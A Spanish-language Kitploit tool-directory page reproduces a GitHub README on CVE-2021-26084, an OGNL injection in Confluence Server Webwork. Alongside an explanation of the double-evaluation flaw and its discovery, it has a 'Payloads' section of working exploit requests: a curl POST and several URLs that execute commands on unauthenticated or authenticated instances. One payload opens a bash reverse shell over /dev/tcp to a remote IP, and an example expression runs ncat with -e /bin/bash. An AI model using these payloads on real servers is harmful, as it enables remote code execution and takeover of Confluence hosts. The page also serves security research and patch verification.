Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-26084 — CVE-2021-26084 - Inyección OGNL en Confluence Server Webwork | Kitploit
Herramientas/GitHubGitHub/orangmuda/cve-2021-26084
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHuborangmuda/cve-2021-26084

CVE-2021-26084

CVE-2021-26084 - Inyección OGNL en Confluence Server Webwork

Ver Repositorio
434hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-26084

Introducción

Este informe proporciona una visión general de CVE-2021-26084 - inyección OGNL en Webwork de Confluence Server [1] que permitiría a un usuario autenticado ejecutar código arbitrario en una instancia de Confluence Server o Data Center.

TL;DR

Confluence Server / Data Center utiliza el framework MVC Webwork 2 para procesar las solicitudes web, y la capa de vista consiste principalmente en plantillas Velocity. Se realiza una doble evaluación cuando las plantillas Velocity usan etiquetas Webwork con un atributo value que contiene $. Cuando se encuentra una etiqueta Webwork con un atributo Value que tiene un $, se produce una evaluación inicial en el análisis de la plantilla Velocity; este valor evaluado se pasa luego a la etiqueta Webwork, que evalúa el valor como una expresión OGNL. Si la clase de acción expone una función setter para el parámetro usado en el atributo value, entonces este parámetro se puede establecer desde la URL mediante parámetros de URL. Así, al elaborar una URL con un payload OGNL, un atacante puede ejecutar código remoto en las versiones afectadas de Confluence Server / Data Center.

Payloads

# UnAuthenticated RCE  - based on the awesome write-up  at httpvoid; courtesy of  Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'

# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>

Inyección de lenguaje de expresiones

Las vulnerabilidades de inyección de lenguaje de expresiones surgen cuando una aplicación incorpora datos controlables por el usuario en una cadena que es evaluada dinámicamente por un intérprete de código. Si los datos del usuario no se validan estrictamente, un atacante puede usar una entrada manipulada para modificar el código que se va a ejecutar e inyectar código arbitrario que será ejecutado por el servidor [2]. Object-Graph Navigation Language (OGNL) [3] es un lenguaje de expresiones para manejar objetos Java. Cuando existe una vulnerabilidad de inyección OGNL, el atacante puede inyectar expresiones OGNL que luego pueden usarse para ejecutar código Java arbitrario. Además de obtener/establecer propiedades, OGNL admite muchas más características, de las cuales las siguientes parecen interesantes desde el punto de vista del desarrollo de exploits:

  • Llamada a método estático: @java.lang.Runtime@getRuntime()

  • Llamada a constructor: new java.lang.String[]{'/bin/bash','-c', ‘xcalc’}

  • Capacidad de trabajar con variables de contexto: #attr["webwork.valueStack"]

  • Llamada a método: #attr["webwork.valueStack"].findValue()

Combinando lo anterior se puede formar una expresión OGNL válida. A continuación se muestra una expresión OGNL típica:

@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')

Webwork 2

WebWork 2 es un framework MVC basado en pull construido sobre una API de framework de patrón de comando llamada XWork y es el predecesor del popular Apache Struts2. Confluence utiliza WebWork 2 de OpenSymphony para procesar las solicitudes web enviadas por los usuarios. Webwork soporta un potente Expression Language basado en OGNL para navegar por su pila de objetos (también conocida como ValueStack). También soporta múltiples tecnologías de vista, incluidas JSP, FreeMarker, Velocity, y proporciona una rica biblioteca de etiquetas. «WebWork: Strutting the OpenSymphony way» de Mike Cannon-Brookes [4] proporciona una excelente visión general del framework Webwork 2. Entre otras cosas que son de particular interés para esta vulnerabilidad se encuentra el soporte de Webwork para:

  • Establecer automáticamente propiedades de la acción basándose en los parámetros de solicitud (parámetros de URL)
  • Integración de vistas (Velocity)
  • Componentes de interfaz de usuario / formularios (etiquetas Webwork) que procesan algunos de sus atributos mediante OGNL

Descubrimiento

La detección de la vulnerabilidad implicó principalmente un enfoque de prueba de caja blanca donde se utilizó instrumentación del código fuente para analizar la evaluación OGNL. Siguiendo la excelente investigación del investigador de GHSL Man Yue Mo sobre inyección OGNL en Apache Struts [5] [6] [7] se observó que el método evaluateParams de la clase UIBean servía como candidato interesante. La base de código de la biblioteca webwork en Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) se extrajo usando JD GUI y se analizó en busca de métodos similares a evaluateParams. La coincidencia más cercana fue el método protected void evaluateParams(OgnlValueStack stack) en com.opensymphony.webwork.views.jsp.ui.AbstractUITag. El análisis del código fuente reveló además que existe una clase com.opensymphony.webwork.util.SafeExpressionUtil que bloqueaba la mayoría de los payloads OGNL.

Descargar herramienta